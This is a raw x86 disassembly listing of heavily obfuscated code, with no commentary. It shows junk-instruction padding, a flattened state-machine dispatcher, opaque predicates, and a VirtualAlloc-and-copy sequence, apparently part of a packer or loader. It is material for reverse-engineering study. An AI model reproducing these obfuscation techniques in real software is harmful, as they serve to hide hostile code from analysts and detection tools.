rol edx, 0xfb
imul edi
not esi
sbb eax, 0x90
not edi
bswap edi
ror ebx, 0x57
rcr edx, 0x9b
dec esi
mov ebx, 0x9a
neg edi
sbb edx, 0xb9
ror ebx, 0x41
and ebx, 0xcd
sub edi, 0x28
not esi
inc edi
ror edi, 0x1c
neg edi
ror edi, 0xcd
neg edi
or ebx, 0xe6
rol eax, 0x96
ror edi, 0x15
mov eax, 0x16
dec ebx
dec esi
rcr edx, 0x5d
mov edx, 0x69
neg edx
or esi, 0x61
and eax, 0x57
sbb ebx, 0xe5
rcr esi, 0x2a
add edi, 0x1c
bswap eax
mov edx, 0x16
sub edx, 0x5c
or ebx, 0x3f
inc edi
neg edi
bswap eax
bswap edi
bswap eax
bswap eax
rcl edx, 0x19
sbb edx, 0xcc
rol esi, 0x78
mov edx, 0x43
mov edx, 0xac
rcl ebx, 0xe8
bswap edi
and eax, 0x8b
rcr edi, 0x98
bswap esi
neg esi
mov eax, 0x73
not eax
rol esi, 0xba
dec edx
and ebx, 0x5b
imul eax
neg esi
inc eax
bswap esi
sub ebx, 0x14
rcl esi, 0x61
dec ebx
sbb eax, 0x50
dec eax
and eax, 0x3e
not edi
not edx
rcl esi, 0xe5
inc edx
not esi
bswap edx
rol edi, 0x1b
mov ebx, 0xa9
rcr esi, 0xa2
sub ebx, 0x8b
and ebx, 0x55
bswap edi
sub ebx, 0x88
sbb edx, 0x6e
neg ebx
not edi
and ebx, 6
mov esi, 0xa3
bswap ebx
sbb edx, 0x74
add eax, 0xd
neg edi
bswap eax
dec edi
add esi, 0x4b
and ebx, 0x7f
imul edi
rcl eax, 0x34
and edx, 0x6d
dec eax
bswap esi
rcr esi, 0x35
inc ebx
mov eax, 0xfa
bswap edi
rol edi, 0x6f
imul esi
not ebx
bswap esi
bswap edx
inc edx
not edx
rcl edi, 0x68
and esi, 0x17
dec edi
sbb edx, 0x48
neg ebx
neg edi
dec esi
not esi
or eax, 0xa4
not eax
and esi, 0x39
dec edi
and edx, 0xce
mov ebx, 0xb3
mov eax, 0xe2
imul eax
bswap esi
inc edi
not edi
imul eax
not esi
rol edi, 0xf
inc esi
rcl ebx, 5
inc eax
imul esi
not esi
bswap eax
inc ebx
neg esi
or eax, 0xb2
rcr edx, 0x69
rcr edx, 0x5c
rcl esi, 0x85
dec edx
sbb edx, 0x9e
and eax, 0xce
ror eax, 0x91
rcr esi, 0xa1
rcr eax, 0x92
dec edi
rol edi, 0x26
rcr edx, 0x10
bswap edx
not esi
imul ebx
ror edx, 0x31
sbb edi, 0xdc
rcr edx, 0x35
neg esi
ror ebx, 0xd0
inc eax
bswap ebx
rcr eax, 0x42
neg eax
sbb eax, 0x56
rol ebx, 0x21
bswap esi
sbb ebx, 0x96
neg eax
inc ebx
imul esi
rcr esi, 0x64
sbb ebx, 0x43
rcr edi, 0x66
rcl esi, 0x85
bswap eax
neg esi
inc edi
rol edi, 0x5e
or eax, 0xff
dec edi
add edi, 0xef
dec ebx
imul ebx
neg eax
ror ebx, 0xf3
neg eax
and edi, 0xe0
or edi, 0x7a
sbb ebx, 0x7d
add edi, 0x40
or edx, 0x50
add eax, 0x2b
and edi, 0xae
dec esi
bswap edx
inc eax
imul edx
rol esi, 0x37
mov edx, 0x43
dec edx
neg edi
bswap ebx
inc edx
imul eax
sub esi, 0xe0
ror esi, 0x97
sub ebx, 0x86
not eax
rcl edi, 0x75
and eax, 0x7a
or edx, 0x48
add eax, 0x40
inc edi
rol edx, 0xf1
or eax, 0x10
sbb edx, 0xbb
rol edi, 0xa6
inc eax
add ebx, 0x57
sub edi, 0x3e
dec esi
and ebx, 0xcd
imul esi
or ebx, 0xea
bswap esi
bswap eax
sbb edx, 0x97
sub ebx, 0x89
rcr edx, 0x64
sub edx, 0xf5
bswap eax
bswap esi
neg ebx
or ebx, 0x1e
sbb edi, 0xd7
imul edx
sub edi, 0x57
neg edi
add edx, 0x67
inc edx
bswap ebx
neg esi
and edx, 0x30
neg edx
imul edx
sub esi, 0xd1
imul ebx
rcl ebx, 0x3d
neg edi
rcr edi, 0x2f
not edi
bswap edi
inc esi
add edi, 0x94
inc esi
mov eax, 0xeb
or esi, 0x3a
neg esi
bswap eax
not eax
neg eax
add esi, 0xba
mov edi, 0x8c
bswap edx
dec ebx
dec eax
inc edi
rcr esi, 0x17
or eax, 8
rcr edi, 0xf3
dec ebx
neg edx
or edx, 0x6b
rcr eax, 0xe4
rcl edi, 0x13
and esi, 0x73
add edi, 0xe6
not edx
and edx, 0xf3
or eax, 0x35
add ebx, 0xd4
neg edx
or esi, 0xaf
ror edi, 0xd
inc eax
sbb esi, 0xfb
rol esi, 0x74
mov edi, 0xe1
sub esi, 0x4e
sbb edx, 0xb7
dec esi
sbb ebx, 0xf9
imul esi
not ebx
or ebx, 0xbf
imul eax
inc edi
ror edx, 0xa5
rol edi, 0x86
mov ebx, 0x29
bswap ebx
inc ebx
imul eax
dec edi
not eax
inc esi
not esi
add esi, 0xfb
rol edi, 0xfe
sub esi, 0x6c
imul esi
not edx
rcl eax, 0x7a
rcr eax, 0x20
imul edi
not edx
rcl edi, 0x53
rcl esi, 0x28
mov edi, 0xec
not esi
not edi
inc esi
not edi
inc eax
inc edx
bswap edx
sbb eax, 0x67
imul esi
rcl eax, 0xe2
dec edx
ror edi, 0xd6
not eax
not edi
mov eax, 0x3ab4e7dc
jmp 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x218afdf8
mov esi, eax
and esi, 0xde750206
and eax, 0xfcee948a
or ecx, esi
mov esi, ecx
xor esi, 0x200a1450
xor ecx, 0xde750207
mov edi, ecx
and edi, 0xdfe5e9a9
and esi, 0x201a1656
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0x201a1656
or ecx, ebx
and ebx, 0xdfe5e9a9
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x3116b75
and edi, 0x3116b75
and esi, 0xfcee948a
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0xc89ecceb
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x492380], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
xor dh, ah
or al, dl
mov cl, dh
mov ah, al
xor cl, ch
xor ah, 1
and cl, dh
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x3e0d7342
or ah, al
mov al, dl
xor al, ah
cmovne ecx, esi
test ah, ah
mov esi, 0x3e0d7342
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x402a30
mov eax, 0x6bdc6227
jmp 0x402a30
mov eax, dword [ebp - 0xf8]
push dword [eax]
push dword [ebp - 0xf4]
push dword [ebp - 0xf0]
vzeroupper
call fcn.00431ba0
add esp, 0xc
mov eax, 0xd069a79
jmp 0x402a30
cmp dword [ebp - 0x19c], 0
mov eax, 0x1bf7448
mov ecx, 0x94835da7
cmove eax, ecx
jmp 0x402a30
mov eax, 0x9b2b88a5
jmp 0x402a30
push 4
push 0x3000
push dword [ebp - 0x134]
push dword [ebp - 0xd8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xe5c840bf
mov eax, dword [ebp - 0x30]
cmp dword [eax + 4], 0
mov eax, 0x2cdfe408
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x48]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00431ba0
add esp, 0xc
ror ebx, 0xce
dec edx
mov edi, 0x54
not eax
imul eax
sub edi, 0x7f
rcr esi, 0x69
sub esi, 0xf8
bswap edx
ror eax, 0xa2
bswap esi
not esi
imul edi
dec esi
not esi
imul ebx
sbb eax, 0x3d
dec ebx
dec edx
ror edx, 0x36
rcl edi, 0xd
mov esi, 0x3d
add eax, 0x32
or edx, 0xd2
sbb edi, 0x7e
inc edx
rcl esi, 0xc0
imul ebx
rcl edx, 0x23
neg ebx
add edx, 0x36
bswap ebx
rol edi, 0xe1
or edx, 0x81
neg ebx
neg edx
rcl ebx, 0x17
neg esi
bswap esi
add ebx, 0x17
rcr edx, 0xee
add esi, 0xae
ror esi, 0xf5
sub edx, 0xf1
dec edx
bswap eax
and edx, 0x18
inc edx
dec edx
imul esi
neg ebx
neg eax
sub ebx, 0xb0
imul edi
add eax, 0x59
add edx, 0x46
bswap edi
neg edx
neg eax
bswap edx
sub edi, 0xad
ror edi, 0xd5
bswap esi
not edi
or edx, 0xcf
not ebx
rol esi, 0xa0
and esi, 0x65
imul edi
not eax
rcl eax, 0x56
add esi, 0x84
not eax
sbb ebx, 0x7d
bswap esi
sbb esi, 0x90
dec eax
imul esi
inc edi
rcr edx, 0x3b
imul ebx
bswap esi
rol ebx, 0x15
and esi, 0xcc
neg edi
rol esi, 0x1f
bswap eax
rol esi, 0x3e
imul esi
rcl edi, 0xc5
imul esi
mov esi, 0xc4
and esi, 0x4b
neg esi
ror eax, 0xe3
and ebx, 0x2d
ror edx, 0xcf
rcr eax, 0xf4
rol edi, 0xc5
sub edx, 0x80
or esi, 0xd3
bswap ebx
add eax, 0xd5
sub ebx, 0x95
neg edx
rcr esi, 0x99
rol esi, 0x3b
rcr ebx, 0x7b
ror eax, 0x88
neg ebx
sub ebx, 0x47
sub ebx, 0xe2
sbb edx, 0x91
or eax, 0x95
dec esi
add edi, 0x67
sbb eax, 0xda
not esi
dec ebx
neg eax
and edx, 0x77
neg eax
sbb edi, 0xbd
dec ebx
mov eax, 0xff
rcr ebx, 0xde
and eax, 0xb4
neg esi
not eax
mov ebx, 0xf7
rol edi, 0x94
imul ebx
rcl edx, 0x99
neg edi
inc edx
rcl ebx, 0x4c
dec esi
sub ebx, 0x3e
bswap esi
not edi
bswap eax
rcr edi, 0x27
not esi
rcl eax, 0xb2
not eax
rol esi, 8
not edi
dec ebx
not edi
inc ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, 0x6d0a9fa8
jmp 0x402a30
rcl edx, 0x37
rol ebx, 0x94
and edx, 0x13
neg ebx
dec ebx
add edi, 8
and edx, 0x6b
or ebx, 0x97
bswap eax
neg eax
bswap esi
rcl edi, 0xd9
imul edx
not ebx
neg ebx
or eax, 0x3d
bswap eax
imul edx
mov esi, 0xe0
inc esi
dec edx
rcl eax, 0x77
neg esi
or ebx, 0x40
rol esi, 0x11
and eax, 0x4c
rol esi, 0xed
not esi
ror eax, 0x5e
neg eax
dec ebx
imul edx
sub eax, 0x1e
inc edi
add ebx, 0x40
or edx, 0x76
rol ebx, 0x61
rol esi, 0x87
rcl edx, 0xd4
dec edi
dec edx
not eax
sub esi, 0x16
imul edx
neg esi
dec edx
rcr ebx, 0xc
rcr eax, 0xd
mov ebx, 0x94
and edi, 0x94
sbb eax, 0x8c
and eax, 0x8f
inc edi
rcr esi, 0x3b
imul eax
rcl ebx, 0x71
rol edi, 0xb3
not esi
ror esi, 0xea
imul eax
neg ebx
rcl edx, 0xff
not esi
rcr eax, 0x2f
rol edi, 0x45
rcr edi, 0xcd
or edx, 0x3a
neg eax
imul edx
neg esi
neg eax
inc edi
not eax
neg esi
ror ebx, 0xbd
sbb ebx, 0xa9
or edi, 0x62
mov eax, 0xa3
inc eax
sbb edi, 0x8a
ror edx, 0x49
inc edx
neg esi
ror esi, 0x28
bswap ebx
neg edx
mov edx, 0xbe
rol edi, 0x94
inc esi
sbb esi, 0x7f
dec edi
mov eax, 0xd
mov edx, 0x8d
dec edx
bswap edx
imul eax
bswap ebx
dec edi
bswap ebx
dec edx
ror edi, 0xf6
rcr ebx, 0x51
rcl esi, 0xbf
and edi, 0x3e
ror esi, 0xb6
rol esi, 0x3a
imul eax
neg edx
not ebx
mov esi, 0x86
mov edi, 0x5b
sub esi, 0x40
sbb edx, 0x82
sub edx, 0xc9
dec edx
neg edx
rcl edi, 4
add edx, 0xba
sub eax, 0x6a
mov edx, 0x86
not edi
rcl esi, 0x86
rol eax, 2
inc ebx
imul ebx
bswap eax
mov edx, 0x3e
neg ebx
not edi
dec eax
rol ebx, 0x20
bswap edx
imul ebx
dec esi
bswap eax
imul edi
rcl edx, 0xa8
imul edi
neg ebx
inc edx
rcl eax, 0x43
imul eax
imul ebx
inc ebx
rol esi, 0x80
dec edi
dec edi
ror esi, 0x7d
sbb ebx, 0x48
mov eax, 0x5f
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x180], eax
mov eax, 0xebb55bad
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xeeea1808
and eax, 0x1115e7f7
or edx, eax
xor edx, 0xeeea1808
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xb4bcb047
and ecx, 0xe03474d2
mov eax, esi
and esi, 0x4b434fb8
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x1fcb8b2c
or ecx, esi
mov esi, edx
xor esi, 0xa0343042
xor edx, 0x4b434fb9
or eax, edx
and edx, 0x1fcb8b2c
and esi, 0xe03474d3
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xc6afb9de
mov ecx, eax
not ecx
and eax, 0x599a7a4
and ecx, 0xfa66585b
or eax, ecx
mov ecx, eax
xor ecx, 0x508a3a0
xor eax, 0x61853
and eax, 0x971c57
and ecx, 0xff68e3a8
or ecx, eax
mov eax, ecx
xor eax, 0x21456
xor ecx, 0xb92861a8
and ecx, 0xb9bd69a9
and eax, 0x46429656
or eax, ecx
mov ecx, eax
xor ecx, 0x429246
xor eax, 0x30012028
and eax, 0x76012438
and ecx, 0x89fedbc7
or ecx, eax
cmp ecx, 0x89fedbc7
sete cl
cmp dword [0x492380], 0xa
setl dl
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
mov ah, cl
xor al, cl
xor ah, 1
and al, cl
and ah, dl
or ah, cl
mov ecx, eax
xor cl, ah
mov ecx, 0xfb036e31
cmovne ecx, esi
test ah, ah
mov edx, ecx
cmovne edx, esi
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x10091030
mov esi, ecx
and esi, 0x8082e002
mov edi, ecx
or edi, 0x808ac020
and ecx, 0x27b39fbb
or edx, esi
and edi, 0xaedac5ad
mov esi, edx
xor esi, 0x10011010
xor edx, 0xaed2c58d
and edx, 0xaedac5ad
and esi, 0x10013012
or esi, edx
mov edx, eax
and edx, 0x41240a40
and eax, 0xd84c6044
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor eax, 0x27b39fbb
xor ecx, 0xd84c6044
mov esi, edx
not esi
and edx, 0x7ceeefe3
and esi, 0x8311101c
or edx, esi
mov esi, edx
xor esi, 0xec651fd0
xor edx, 0x139ae02f
and eax, esi
and ecx, edx
mov esi, 0xfed70e3
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x492380], 0xa
mov dl, ah
setge cl
setl al
xor dl, al
and ch, cl
and al, ah
or al, ch
mov ch, cl
or cl, ah
xor dl, 1
xor ch, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xc71288ac
cmovne ecx, esi
test dl, 1
mov edx, 0xc71288ac
cmovne edx, ecx
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x402a30
mov ecx, dword [0x492384]
mov esi, 0x96c599a
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa22480d4
and eax, 0x5d937c0a
and ecx, 0x480321
or edx, ecx
xor edx, 0xa22480d4
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb25e07eb
and ecx, 0x4da1f814
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xefcd7be0
xor ecx, 0x1032841e
xor edx, 0x1032841f
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x94e759ed
and eax, 0x6b18a612
or eax, ecx
mov ecx, eax
xor ecx, 0x18a410
xor eax, 0x80c050a9
and eax, 0xebc052ab
and ecx, 0x143fad54
or ecx, eax
xor ecx, 0x143fad54
setne al
sete dl
cmp dword [0x492380], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor ah, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
mov edx, 0xe08394ec
cmovne edx, esi
test cl, cl
mov ecx, 0xe08394ec
cmovne ecx, edx
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x402a30
mov eax, 0x77648c78
jmp 0x402a30
mov eax, 0x6fcfa415
jmp 0x402a30
mov eax, 0xe935a72d
jmp 0x402a30
mov eax, 0x2f98a61d
jmp 0x402a30
cmp byte [ebp - 0x76], 0
mov eax, 0xec2ad681
mov ecx, 0x661825ad
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0x7f7283c8
jne 0x402a30
mov esi, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00431030
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret